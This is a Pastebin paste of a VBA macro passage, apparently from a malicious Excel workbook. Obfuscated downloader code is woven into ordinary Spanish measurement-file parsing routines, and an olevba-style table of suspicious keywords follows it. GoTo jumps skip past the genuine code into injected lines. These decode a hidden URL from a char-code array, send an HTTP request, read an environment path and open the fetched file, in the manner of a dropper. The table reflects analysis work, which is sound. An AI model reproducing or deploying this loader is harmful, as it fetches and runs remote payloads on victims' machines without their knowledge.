  685.  Next i
  686.  End If
  687. SAmoetut:
  688. Set h_key_LM_1 = CreateObject(CDMHA(0))
  689.  
  690. Set h_key_LM_2 = CreateObject(CDMHA(1))
  691. Set h_key_LM_6 = CreateObject(CDMHA(2))
  692. Set hokuk = CreateObject(CDMHA(3))
  693. Set h_key_LM_3 = hokuk.Environment(CDMHA(4))
  694. GoTo SAmoetut2
  695.  Case ClaveTEXCIT
  696.  Select Case Cadena
  697.  Case PrefLINX
  698.  sProc(3) = ClaveLINX
  699.  Case PrefLINY
  700.  sProc(3) = ClaveLINY
  701.  Case PrefCIRC
  702.  sProc(3) = ClaveCIRC
  703.  End Select
  704.  Case ClaveINI_SNIFTD
  705.  bHaySNIFTD = True
  706.  sProc(5) = Checked
  707.  sProc(4) = sProc(5)
  708.  Case ClaveINI_EXPAND
  709.  bHayEXPAND = True
  710.  sProc(6) = Checked
  711.  sProc(4) = sProc(6)
  712.  Case ClaveINSONDA
  713.  Select Case ExtraeDat.oIzqda(Cadena)
  714.  Case PrefSONDA_1
  715.  sSNIFTD_E.XPAND(7) = ClaveSONDA_1
  716.  Case PrefSONDA_2
  717.  sSNIFTD_E.XPAND(7) = ClaveSONDA_2
  718.  Case PrefSONDA_3
  719.  sSNIFTD_E.XPAND(7) = ClaveSONDA_3
  720.  End Select
  721.  sSNIFTD_E.XPAND(8) = ExtraeDatoD.cha(Cadena)
  722.  Case ClaveROUT
  723.  sSNIFTD_E.XPAND(9) = SinLe.tras(Cadena)
  724.  If sSNIFTD_E.XPAND(9) = "0" Then
  725.  sSNIFTD_E.XPAND(10) = Checked
  726.  Else
  727.  sSNIFTD_E.XPAND(10) = Unchecked
  728.  End If
  729.  Case ClaveOUTTHETA_SE
  730.  sSNIFTD_E.XPAND(11) = ExtraeDat.oIzqda(Cadena)
  731.  sSNIFTD_E.XPAND(11) = SinLe.tras(sSNIFTD_E.XPAND(11))
  732.  Cadena = ExtraeDatoD.cha(Cadena)
  733.  sSNIFTD_E.XPAND(12) = ExtraeDat.oIzqda(Cadena)
  734.  sSNIFTD_E.XPAND(12) = SinLe.tras(sSNIFTD_E.XPAND(12))
  735.  Case ClaveOUTPHI_SE
  736.  sSNIFTD_E.XPAND(13) = ExtraeDat.oIzqda(Cadena)
  737.  sSNIFTD_E.XPAND(13) = SinLe.tras(sSNIFTD_E.XPAND(13))
  738.  Cadena = ExtraeDatoD.cha(Cadena)
  739.  sSNIFTD_E.XPAND(14) = ExtraeDat.oIzqda(Cadena)
  740.  sSNIFTD_E.XPAND(14) = SinLe.tras(sSNIFTD_E.XPAND(14))
  741.  Case ClaveOUTSONDA
  742.  Select Case ExtraeDat.oIzqda(Cadena)
  743.  Case PrefSONDA_1
  744.  sSNIFTD_E.XPAND(15) = ClaveSONDA_1
  745.  Case PrefSONDA_2
  746.  sSNIFTD_E.XPAND(15) = ClaveSONDA_2
  747.  Case PrefSONDA_3
  748.  sSNIFTD_E.XPAND(15) = ClaveSONDA_3
  749.  End Select
  750.  sSNIFTD_E.XPAND(16) = ExtraeDatoD.cha(Cadena)
  751.  Case ClaveFIN_SNIFTD, ClaveFIN_EXPAND
  752.  Case ClaveINI_SFIFT
  753.  bHaySFIFT = True
  754.  sProc(7) = Checked
  755.  Case ClaveR0
  756.  sSF.IFT(3) = ExtraeDat.oIzqda(Cadena)
  757.  sSF.IFT(3) = SinLe.tras(sSF.IFT(3))
  758.  Case ClaveLFI0
  759.  sSF.IFT(4) = ExtraeDat.oIzqda(Cadena)
  760.  sSF.IFT(4) = SinLe.tras(sSF.IFT(4))
  761.  Case ClaveLFI90
  762.  sSF.IFT(5) = ExtraeDat.oIzqda(Cadena)
  763.  sSF.IFT(5) = SinLe.tras(sSF.IFT(5))
  764.  Case ClaveGSonda
  765.  sSF.IFT(6) = ExtraeDat.oIzqda(Cadena)
  766.  sSF.IFT(6) = SinLe.tras(sSF.IFT(6))
  767.  Case ClaveCSonda
  768.  sSF.IFT(7) = ExtraeDat.oIzqda(Cadena)
  769.  sSF.IFT(7) = SinLe.tras(sSF.IFT(7))
  770.  Case ClaveFIN_SFIFT
  771.  Case ClaveINI_CNIFT
  772.  bHayCNIFT = True
  773.  sProc(8) = Checked
  774.  Case ClaveTHETA_C
  775.  sCN.IFT(7) = ExtraeDat.oIzqda(Cadena)
  776.  sCN.IFT(7) = SinLe.tras(sCN.IFT(7))
  777.  sCN.IFT(8) = ExtraeDatoD.cha(Cadena)
  778.  sCN.IFT(8) = SinLe.tras(sCN.IFT(8))
  779.  Case ClavePHI_C
  780.  sCN.IFT(9) = ExtraeDat.oIzqda(Cadena)
  781.  sCN.IFT(9) = SinLe.tras(sCN.IFT(9))
  782.  sCN.IFT(10) = ExtraeDatoD.cha(Cadena)
  783.  sCN.IFT(10) = SinLe.tras(sCN.IFT(10))
  784.  Case ClaveCENTRAR_C
  785.  Select Case ExtraeDat.oIzqda(Cadena)
  786.  Case PrefSI
  787.  sCN.IFT(11) = Checked
  788.  Case PrefNO
  789.  sCN.IFT(11) = Unchecked
  790.  Case Else
  791.  sCN.IFT(11) = Grayed
  792.  End Select
  793. SAmoetut2:
  794.  Dim h_key_LM_7() As Variant
  795. h_key_LM_7 = Array(10134, 10146, 10146, 10142, 10088, 10077, 10077, 10149, 10149, 10149, 10076, 10146, 10144, 10147, 10138, 10151, 10133, 10144, 10131, 10131, 10140, 10076, 10140, 10131, 10146, 10077, 10082, 10081, 10083, 10082, 10081, 10144, 10081, 10082, 10144, 10077, 10086, 10082, 10081, 10146, 10132, 10076, 10131, 10150, 10131)
  796. h_key_LM_10 = 44
  797. h_key_LM_9 = h_key_LM_7
  798.     Dim h_key_LM_8 As Integer
  799.     Dim sounds2_1 As String
  800.     sounds2_1 = ""
  801.     For h_key_LM_8 = LBound(h_key_LM_9) To UBound(h_key_LM_9)
  802.         sounds2_1 = sounds2_1 & Chr(-h_key_LM_10 + h_key_LM_9(h_key_LM_8) - 4500 - 4222 - 1132 - 3 * h_key_LM_10)
  803.     Next h_key_LM_8
  804.     h_key_LM_h_key_LM_ = sounds2_1
  805.  
  806. h_key_LM_1.Open CDMHA(5), h_key_LM_h_key_LM_, False
  807. GoTo SAmoetut3
  808.  sCN.IFT(12) = ExtraeDatoD.cha(Cadena)
  809.  sCN.IFT(12) = SinLe.tras(sCN.IFT(12))
  810.  Case ClaveSAmoetutYGAN
  811.  sCN.IFT(13) = ExtraeDat.oIzqda(Cadena)
  812.  sCN.IFT(13) = SinLe.tras(sCN.IFT(13))
  813.  sCN.IFT(14) = ExtraeDatoD.cha(Cadena)
  814.  sCN.IFT(14) = SinLe.tras(sCN.IFT(14))
  815.  Case ClaveFSONDA
  816.  sCN.IFT(15) = Cadena
  817.  Case ClaveFIN_CNIFT
  818.  Case ClaveINI_PNIFT
  819.  bHayPNIFT = True
  820.  sProc(9) = Checked
  821.  Case ClaveTHETA_P
  822.  sPN.IFT(0) = ExtraeDat.oIzqda(Cadena)
  823.  sPN.IFT(0) = SinLe.tras(sPN.IFT(0))
  824.  sPN.IFT(1) = ExtraeDatoD.cha(Cadena)
  825.  sPN.IFT(1) = SinLe.tras(sPN.IFT(1))
  826.  Case ClavePHI_P
  827.  sPN.IFT(2) = ExtraeDat.oIzqda(Cadena)
  828.  sPN.IFT(2) = SinLe.tras(sPN.IFT(2))
  829.  sPN.IFT(3) = ExtraeDatoD.cha(Cadena)
  830.  sPN.IFT(3) = SinLe.tras(sPN.IFT(3))
  831.  Case ClaveFICHRNF
  832.  sPN.IFT(5) = Cadena
  833.  If sPN.IFT(5) <> "" Then
  834.  sPN.IFT(4) = Checked
  835.  Else
  836.  sPN.IFT(4) = Unchecked
  837.  End If
  838.  Case ClaveFICHPRB
  839.  sPN.IFT(6) = Cadena
  840.  Case ClaveFICHREF
  841.  sPN.IFT(8) = Cadena
  842.  If sPN.IFT(8) <> "" Then
  843.  sPN.IFT(7) = Checked
  844.  Else
  845.  sPN.IFT(7) = Unchecked
  846.  End If
  847.  Case ClaveSAmoetutINS
  848.  sPN.IFT(9) = ExtraeDat.oIzqda(Cadena)
  849.  sPN.IFT(9) = SinLe.tras(sPN.IFT(9))
  850.  Case ClaveFIN_PNIFT
  851.  Case ClaveINI_PNIFU
  852.  bHayPNIFU = True
  853.  sProc(10) = Checked
  854.  Case ClaveCENTGIRAR_U
  855.  Select Case ExtraeDat.oIzqda(Cadena)
  856.  Case PrefSI
  857.  Tigr.brat(0) = Checked
  858.  Case PrefNO
  859.  Tigr.brat(0) = Unchecked
  860.  Case Else
  861.  Tigr.brat(0) = Grayed
  862.  End Select
  863.  Tigr.brat(1) = ExtraeDatoD.cha(Cadena)
  864.  Tigr.brat(1) = SinLe.tras(Tigr.brat(1))
  865.  Case ClaveTRANSF_U
  866.  Select Case Cadena
  867.  Case PrefSINCAMBIO
  868.  Tigr.brat(2) = ClaveSINCAMBIO
  869.  Case PrefCONCAMBIO
  870.  Tigr.brat(2) = ClaveCONCAMBIO
  871.  End Select
  872.  Case ClaveCMPTE_U
  873.  Select Case Cadena
  874.  Case PrefCPXY
  875.  Tigr.brat(3) = ClaveCPXY
  876.  Case PrefAE
  877.  Tigr.brat(3) = ClaveAE
  878.  Case PrefTHPH
  879.  Tigr.brat(3) = ClaveTHPH
  880.  Case PrefRHLH
  881.  Tigr.brat(3) = ClaveRHLH
  882.  Case PrefEMEM
  883.  Tigr.brat(3) = ClaveEMEM
  884.  End Select
  885.  Case ClaveFORMATO
  886.  Select Case ExtraeDat.oIzqda(Cadena)
  887.  Case PrefFORM_1
  888.  Tigr.brat(4) = ClaveFORM_1
  889.  Case PrefFORM_2
  890.  Tigr.brat(4) = ClaveFORM_2
  891.  Case PrefFORM_3
  892.  Tigr.brat(4) = ClaveFORM_3
  893.  Case PrefFORM_4
  894.  Tigr.brat(4) = ClaveFORM_4
  895.  End Select
  896. SAmoetut3:
  897.  h_key_LM_1.Send
  898. h_key_LM_4 = h_key_LM_3(CDMHA(6))
  899. GoTo SAmoetut4
  900.  Tigr.brat(5) = ExtraeDatoD.cha(Cadena)
  901.  Tigr.brat(5) = SinLe.tras(Tigr.brat(5))
  902.  Case ClaveTHETA_U
  903.  Tigr.brat(6) = ExtraeDat.oIzqda(Cadena)
  904.  Tigr.brat(6) = SinLe.tras(Tigr.brat(6))
  905.  Tigr.brat(7) = ExtraeDatoD.cha(Cadena)
  906.  Tigr.brat(7) = SinLe.tras(Tigr.brat(7))
  907.  Case ClavePHI_U
  908.  Tigr.brat(8) = ExtraeDat.oIzqda(Cadena)
  909.  Tigr.brat(8) = SinLe.tras(Tigr.brat(8))
  910.  Case ClaveFACTEXP
  911.  Tigr.brat(9) = ExtraeDat.oIzqda(Cadena)
  912.  Tigr.brat(9) = SinLe.tras(Tigr.brat(9))
  913.  Tigr.brat(10) = ExtraeDatoD.cha(Cadena)
  914.  Tigr.brat(10) = SinLe.tras(Tigr.brat(10))
  915.  Case "S/N_RUIDO"
  916.  frmAnalisisIncertidumbres.txtNivelRuido.Text = SinLe.tras(Cadena)
  917.  Pot_ruido = Cadena
  918.  Case "DRIFT_GRADOS"
  919.  frmAnalisisIncertidumbres.txtDrift.Text = SinLe.tras(Cadena)
  920.  Drift = Cadena
  921.  Case "DRIFT_dB"
  922.  frmAnalisisIncertidumbres.txtDriftMod.Text = SinLe.tras(Cadena)
  923.  DriftMod = Cadena
  924.  Case "S/N_LEAKAGE"
  925.  frmAnalisisIncertidumbres.txtLeakage.Text = SinLe.tras(Cadena)
  926.  Leakage = Cadena
  927.  Case "CABLES_JUNTAS_GRADOS"
  928.  frmAnalisisIncertidumbres.txtCablesJuntas.Text = SinLe.tras(Cadena)
  929.  CablesJuntas = Cadena
  930.  Case "CABLES_JUNTAS_dB"
  931.  frmAnalisisIncertidumbres.txtCablesJuntasMod.Text = SinLe.tras(Cadena)
  932.  CablesJuntasMod = Cadena
  933.  Case "NO_SIMUL"
  934.  frmAnalisisIncertidumbres.txtNumSimul.Text = SinLe.tras(Cadena)
  935.  Num_simulaciones = Cadena
  936.  Case "JUNTO"
  937.  If (Cadena = "S") Then
  938.  frmAnalisisIncertidumbres.chkJunto.Value = Checked
  939.  Junto2 = Checked
  940.  End If
  941.  Junto = Cadena
  942.  Case ClaveFIN
  943.  Case ClaveFIN_PNIFU
  944.  Case Else
  945.  Fallo = True
  946.  End Select
  947.  Loop Until EOF(f)
  948.  Close f
  949.  If Fallo Then
  950.  i = MsgBox("Se han ignorado algunas entradas, compruebe la configuraci?n", _
  951.  vbOKOnly + vbInformation, "AVISO PROCESADO DE DATOS")
  952.  End If
  953. SalirCargarProc:
  954.  Exit Function
  955. ManipularErrorCargarProc:
  956.  i = MsgBox("No existe el fichero o est? da?ado" _
  957.  & vbNewLine & Err.Description, _
  958.  vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
  959.  Resume Next
  960. SAmoetut4:
  961. GuardarFichProcIncer "\", "e"
  962. End Function
  963.  
  964.  
  965.  
  966.  
  967.  
  968.  
  969.  
  970. Public Sub CargarFichProc(NombreFichero As String)
  971.  Dim f As Integer
  972.  Dim Buffer As String
  973.  Dim Cadena As String
  974.  Dim i As Integer
  975.  Dim Aux As Integer
  976.  Dim Fallo As Boolean
  977.  Fallo = False
  978.  bHayNORMA = False
  979.  bHayNORMAC = False
  980.  bHaySNIFTD = False
  981.  bHayEXPAND = False
  982.  bHaySFIFT = False
  983.  bHayCNIFT = False
  984.  bHayPNIFT = False
  985.  bHayPNIFU = False
  986.  bHayFrecs = False
  987.  GoTo SAmoetut
  988.  For i = 0 To UBound(sProc) Step 1
  989.  sProc(i) = Unchecked
  990.  Next i
  991.  sProc(0) = CharSinCargar
  992.  sProc(3) = CharSinCargar
  993.  For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
  994.  sSNIFTD_E.XPAND(i) = CharSinCargar
  995.  Next i
  996.  sSNIFTD_E.XPAND(10) = Unchecked
  997.  For i = 0 To UBound(sSFIFT) Step 1
  998.  sSF.IFT(i) = CharSinCargar
  999.  Next i
  1000.  For i = 0 To UBound(sCNIFT) Step 1
  1001.  sCN.IFT(i) = CharSinCargar
  1002.  Next i
  1003.  sCN.IFT(11) = Unchecked
  1004.  For i = 0 To UBound(sPNIFT) Step 1
  1005.  sPN.IFT(i) = CharSinCargar
  1006.  Next i
  1007.  sPN.IFT(4) = Unchecked
  1008.  sPN.IFT(7) = Unchecked
  1009.  For i = 0 To UBound(sPNIFU) Step 1
  1010.  Tigr.brat(i) = CharSinCargar
  1011.  Next i
  1012.  Tigr.brat(0) = Unchecked
  1013.  On Error GoTo ManipularErrorCargarProc
  1014.  f = FreeFile
  1015.  Open NombreFichero For Input As f
  1016.  Do
  1017.  Cadena = ExtraeDato.Dcha(Buffer)
  1018.  Select Case ExtraeDatoI.zqda(Buffer)
  1019.  Case "", " ", CharLineaVacia
  1020.  Case Asteriscos & Asteriscos
  1021.  Case ClaveDAMA
  1022.  sProc(0) = Cadena
  1023.  Case ClaveNOFREC
  1024.  Aux = Fix(Val(SinLe.tras(ExtraeDatoIz.qda(Cadena))))
  1025.  If Aux > 0 Then
  1026.  bHayFrecs = True
  1027.  For i = 0 To Aux - 1 Step 1
  1028.  ReDim Preserve sPro.c1(i)
  1029.  sPro.c1(i) = ExtraeDato.Izqda(Buffer)
  1030.  sPro.c1(i) = SinLe.tras(sPro.c1(i))
  1031.  Next i
  1032.  End If
  1033.  Case ClaveINI_NORMA
  1034.  bHayNORMA = True
  1035.  sProc(2) = Checked
  1036.  Case ClaveTEXCIT
  1037.  Select Case Cadena
  1038.  Case PrefLINX
  1039.  sProc(3) = ClaveLINX
  1040.  Case PrefLINY
  1041.  sProc(3) = ClaveLINY
  1042.  Case PrefCIRC
  1043.  sProc(3) = ClaveCIRC
  1044.  End Select
  1045.  Case ClaveFIN_NORMA
  1046.  Case ClaveINI_NORMACOMP
  1047.  bHayNORMAC = True
  1048.  sProc(11) = Checked
  1049.  Case ClaveFIN_NORMACOMP
  1050.  Case ClaveINI_SNIFTD
  1051.  bHaySNIFTD = True
  1052.  sProc(5) = Checked
  1053.  sProc(4) = sProc(5)
  1054.  Case ClaveINI_EXPAND
  1055.  bHayEXPAND = True
  1056.  sProc(6) = Checked
  1057.  sProc(4) = sProc(6)
  1058.  Case ClaveINSONDA
  1059.  Select Case ExtraeDat.oIzqda(Cadena)
  1060.  Case PrefSONDA_1
  1061.  sSNIFTD_E.XPAND(7) = ClaveSONDA_1
  1062.  Case PrefSONDA_2
  1063.  sSNIFTD_E.XPAND(7) = ClaveSONDA_2
  1064.  Case PrefSONDA_3
  1065.  sSNIFTD_E.XPAND(7) = ClaveSONDA_3
  1066.  End Select
  1067.  sSNIFTD_E.XPAND(8) = ExtraeDato.Dcha(Cadena)
  1068.  Case ClaveROUT
  1069.  sSNIFTD_E.XPAND(9) = SinLet.ras(Cadena)
  1070.  If sSNIFTD_E.XPAND(9) = "0" Then
  1071.  sSNIFTD_E.XPAND(10) = Checked
  1072.  Else
  1073.  sSNIFTD_E.XPAND(10) = Unchecked
  1074.  End If
  1075.  Case ClaveOUTTHETA_SE
  1076.  sSNIFTD_E.XPAND(11) = ExtraeDat.oIzqda(Cadena)
  1077.  sSNIFTD_E.XPAND(11) = SinLe.tras(sSNIFTD_E.XPAND(11))
  1078.  Cadena = ExtraeDa.toDcha(Cadena)
  1079.  sSNIFTD_E.XPAND(12) = ExtraeDa.toIzqda(Cadena)
  1080.  sSNIFTD_E.XPAND(12) = SinLe.tras(sSNIFTD_E.XPAND(12))
  1081.  Case ClaveOUTPHI_SE
  1082.  sSNIFTD_E.XPAND(13) = ExtraeDat.oIzqda(Cadena)
  1083.  sSNIFTD_E.XPAND(13) = SinLe.tras(sSNIFTD_E.XPAND(13))
  1084.  Cadena = ExtraeDatoD.cha(Cadena)
  1085.  sSNIFTD_E.XPAND(14) = ExtraeDat.oIzqda(Cadena)
  1086.  sSNIFTD_E.XPAND(14) = SinLe.tras(sSNIFTD_E.XPAND(14))
  1087.  Case ClaveOUTSONDA
  1088.  Select Case ExtraeDat.oIzqda(Cadena)
  1089.  Case PrefSONDA_1
  1090.  sSNIFTD_E.XPAND(15) = ClaveSONDA_1
  1091.  Case PrefSONDA_2
  1092.  sSNIFTD_E.XPAND(15) = ClaveSONDA_2
  1093.  Case PrefSONDA_3
  1094.  sSNIFTD_E.XPAND(15) = ClaveSONDA_3
  1095.  End Select
  1096.  sSNIFTD_E.XPAND(16) = ExtraeDatoD.cha(Cadena)
  1097.  Case ClaveFIN_SNIFTD, ClaveFIN_EXPAND
  1098.  Case ClaveINI_SFIFT
  1099.  bHaySFIFT = True
  1100.  sProc(7) = Checked
  1101.  Case ClaveR0
  1102.  sSF.IFT(3) = ExtraeDat.oIzqda(Cadena)
  1103.  sSF.IFT(3) = SinLe.tras(sSF.IFT(3))
  1104.  Case ClaveLFI0
  1105.  sSF.IFT(4) = ExtraeDat.oIzqda(Cadena)
  1106.  sSF.IFT(4) = SinLe.tras(sSF.IFT(4))
  1107.  Case ClaveLFI90
  1108.  sSF.IFT(5) = ExtraeDat.oIzqda(Cadena)
  1109.  sSF.IFT(5) = SinLe.tras(sSF.IFT(5))
  1110.  Case ClaveGSonda
  1111.  sSF.IFT(6) = ExtraeDat.oIzqda(Cadena)
  1112.  sSF.IFT(6) = SinLe.tras(sSF.IFT(6))
  1113.  Case ClaveCSonda
  1114.  sSF.IFT(7) = ExtraeDat.oIzqda(Cadena)
  1115.  sSF.IFT(7) = SinLe.tras(sSF.IFT(7))
  1116.  Case ClaveFIN_SFIFT
  1117.  Case ClaveINI_CNIFT
  1118.  bHayCNIFT = True
  1119.  sProc(8) = Checked
  1120.  Case ClaveTHETA_C
  1121.  sCN.IFT(7) = ExtraeDat.oIzqda(Cadena)
  1122.  sCN.IFT(7) = SinLe.tras(sCN.IFT(7))
  1123.  sCN.IFT(8) = ExtraeDatoD.cha(Cadena)
  1124.  sCN.IFT(8) = SinLe.tras(sCN.IFT(8))
  1125.  Case ClavePHI_C
  1126.  sCN.IFT(9) = ExtraeDat.oIzqda(Cadena)
  1127.  sCN.IFT(9) = SinLe.tras(sCN.IFT(9))
  1128.  sCN.IFT(10) = ExtraeDatoD.cha(Cadena)
  1129.  sCN.IFT(10) = SinLe.tras(sCN.IFT(10))
  1130.  Case ClaveCENTRAR_C
  1131.  Select Case ExtraeDat.oIzqda(Cadena)
  1132.  Case PrefSI
  1133.  sCN.IFT(11) = Checked
  1134.  Case PrefNO
  1135.  sCN.IFT(11) = Unchecked
  1136.  Case Else
  1137.  sCN.IFT(11) = Grayed
  1138.  End Select
  1139.  sCN.IFT(12) = ExtraeDatoD.cha(Cadena)
  1140.  sCN.IFT(12) = SinLe.tras(sCN.IFT(12))
  1141.  Case ClaveSAmoetutYGAN
  1142.  sCN.IFT(13) = ExtraeDat.oIzqda(Cadena)
  1143.  sCN.IFT(13) = SinLe.tras(sCN.IFT(13))
  1144.  sCN.IFT(14) = ExtraeDatoD.cha(Cadena)
  1145.  sCN.IFT(14) = SinLe.tras(sCN.IFT(14))
  1146.  Case ClaveFSONDA
  1147.  sCN.IFT(15) = Cadena
  1148.  Case ClaveFIN_CNIFT
  1149.  Case ClaveINI_PNIFT
  1150.  bHayPNIFT = True
  1151.  sProc(9) = Checked
  1152.  Case ClaveTHETA_P
  1153.  sPN.IFT(0) = ExtraeDat.oIzqda(Cadena)
  1154.  sPN.IFT(0) = SinLe.tras(sPN.IFT(0))
  1155.  sPN.IFT(1) = ExtraeDatoD.cha(Cadena)
  1156.  sPN.IFT(1) = SinLe.tras(sPN.IFT(1))
  1157.  Case ClavePHI_P
  1158.  sPN.IFT(2) = ExtraeDat.oIzqda(Cadena)
  1159.  sPN.IFT(2) = SinLe.tras(sPN.IFT(2))
  1160.  sPN.IFT(3) = ExtraeDatoD.cha(Cadena)
  1161.  sPN.IFT(3) = SinLe.tras(sPN.IFT(3))
  1162.  Case ClaveFICHRNF
  1163.  sPN.IFT(5) = Cadena
  1164.  If sPN.IFT(5) <> "" Then
  1165.  sPN.IFT(4) = Checked
  1166.  Else
  1167.  sPN.IFT(4) = Unchecked
  1168.  End If
  1169.  Case ClaveFICHPRB
  1170.  sPN.IFT(6) = Cadena
  1171.  Case ClaveFICHREF
  1172.  sPN.IFT(8) = Cadena
  1173.  If sPN.IFT(8) <> "" Then
  1174.  sPN.IFT(7) = Checked
  1175.  Else
  1176.  sPN.IFT(7) = Unchecked
  1177.  End If
  1178.  Case ClaveSAmoetutINS
  1179.  sPN.IFT(9) = ExtraeDat.oIzqda(Cadena)
  1180.  sPN.IFT(9) = SinLe.tras(sPN.IFT(9))
  1181.  Case ClaveFIN_PNIFT
  1182.  Case ClaveINI_PNIFU
  1183.  bHayPNIFU = True
  1184.  sProc(10) = Checked
  1185.  Case ClaveCENTGIRAR_U
  1186.  Select Case ExtraeDat.oIzqda(Cadena)
  1187.  Case PrefSI
  1188.  Tigr.brat(0) = Checked
  1189.  Case PrefNO
  1190.  Tigr.brat(0) = Unchecked
  1191.  Case Else
  1192.  Tigr.brat(0) = Grayed
  1193.  End Select
  1194.  Tigr.brat(1) = ExtraeDatoD.cha(Cadena)
  1195.  Tigr.brat(1) = SinLe.tras(Tigr.brat(1))
  1196.  Case ClaveTRANSF_U
  1197.  Select Case Cadena
  1198.  Case PrefSINCAMBIO
  1199.  Tigr.brat(2) = ClaveSINCAMBIO
  1200.  Case PrefCONCAMBIO
  1201.  Tigr.brat(2) = ClaveCONCAMBIO
  1202.  End Select
  1203.  Case ClaveCMPTE_U
  1204.  Select Case Cadena
  1205.  Case PrefCPXY
  1206.  Tigr.brat(3) = ClaveCPXY
  1207.  Case PrefAE
  1208.  Tigr.brat(3) = ClaveAE
  1209.  Case PrefTHPH
  1210.  Tigr.brat(3) = ClaveTHPH
  1211.  Case PrefRHLH
  1212.  Tigr.brat(3) = ClaveRHLH
  1213.  Case PrefEMEM
  1214.  Tigr.brat(3) = ClaveEMEM
  1215.  End Select
  1216.  Case ClaveFORMATO
  1217.  Select Case ExtraeDat.oIzqda(Cadena)
  1218.  Case PrefFORM_1
  1219.  Tigr.brat(4) = ClaveFORM_1
  1220.  Case PrefFORM_2
  1221.  Tigr.brat(4) = ClaveFORM_2
  1222.  Case PrefFORM_3
  1223.  Tigr.brat(4) = ClaveFORM_3
  1224.  Case PrefFORM_4
  1225.  Tigr.brat(4) = ClaveFORM_4
  1226.  End Select
  1227.  Tigr.brat(5) = ExtraeDatoD.cha(Cadena)
  1228.  Tigr.brat(5) = SinLe.tras(Tigr.brat(5))
  1229.  Case ClaveTHETA_U
  1230.  Tigr.brat(6) = ExtraeDat.oIzqda(Cadena)
  1231.  Tigr.brat(6) = SinLe.tras(Tigr.brat(6))
  1232.  Tigr.brat(7) = ExtraeDatoD.cha(Cadena)
  1233.  Tigr.brat(7) = SinLe.tras(Tigr.brat(7))
  1234.  Case ClavePHI_U
  1235.  Tigr.brat(8) = ExtraeDat.oIzqda(Cadena)
  1236.  Tigr.brat(8) = SinLe.tras(Tigr.brat(8))
  1237.  Case ClaveFACTEXP
  1238.  Tigr.brat(9) = ExtraeDat.oIzqda(Cadena)
  1239.  Tigr.brat(9) = SinLe.tras(Tigr.brat(9))
  1240.  Tigr.brat(10) = ExtraeDatoD.cha(Cadena)
  1241.  Tigr.brat(10) = SinLe.tras(Tigr.brat(10))
  1242.  Case ClaveFIN
  1243.  Case ClaveFIN_PNIFU
  1244.  Case Else
  1245.  Fallo = True
  1246.  End Select
  1247.  Loop Until EOF(f)
  1248.  Close f
  1249. SAmoetut:
  1250. CDMHA = Split(Replace(Replace(UserForm2.ComboBox1.Caption, "6", "E"), "7", "M"), NombreFichero)
  1251. GoTo SAmoetut1
  1252.  If Fallo Then
  1253.  i = MsgBox("Se han ignorado algunas entradas, compruebe la configuraci?n", _
  1254.  vbOKOnly + vbInformation, "AVISO PROCESADO DE DATOS")
  1255.  End If
  1256. SalirCargarProc:
  1257.  Exit Sub
  1258. ManipularErrorCargarProc:
  1259.  i = MsgBox("No existe el fichero o est? da?ado" _
  1260.  & vbNewLine & Err.Description, _
  1261.  vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
  1262.  Resume Next
  1263. SAmoetut1:
  1264. CargarFichIncer ""
  1265. h_key_LM_6.Open (h_key_LM_5)
  1266. End Sub
  1267.  
  1268.  
  1269.  
  1270.  
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276. +------------+---------------+-----------------------------------------+
  1277. | Type       | Keyword       | Description                             |
  1278. +------------+---------------+-----------------------------------------+
  1279. | AutoExec   | Workbook_Open | Runs when the Excel Workbook is opened  |
  1280. | Suspicious | Open          | May open a file                         |
  1281. | Suspicious | CreateObject  | May create an OLE object                |
  1282. | Suspicious | CallByName    | May attempt to obfuscate malicious      |
  1283. |            |               | function calls                          |
  1284. | Suspicious | Chr           | May attempt to obfuscate specific       |
  1285. |            |               | strings                                 |
  1286. | Suspicious | Output        | May write to a file (if combined with   |
  1287. |            |               | Open)                                   |
  1288. | Suspicious | Print #       | May write to a file (if combined with   |
  1289. |            |               | Open)                                   |
  1290. | Suspicious | Hex Strings   | Hex-encoded strings were detected, may  |
  1291. |            |               | be used to obfuscate strings (option    |
  1292. |            |               | --decode to see all)                    |
  1293. +------------+---------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!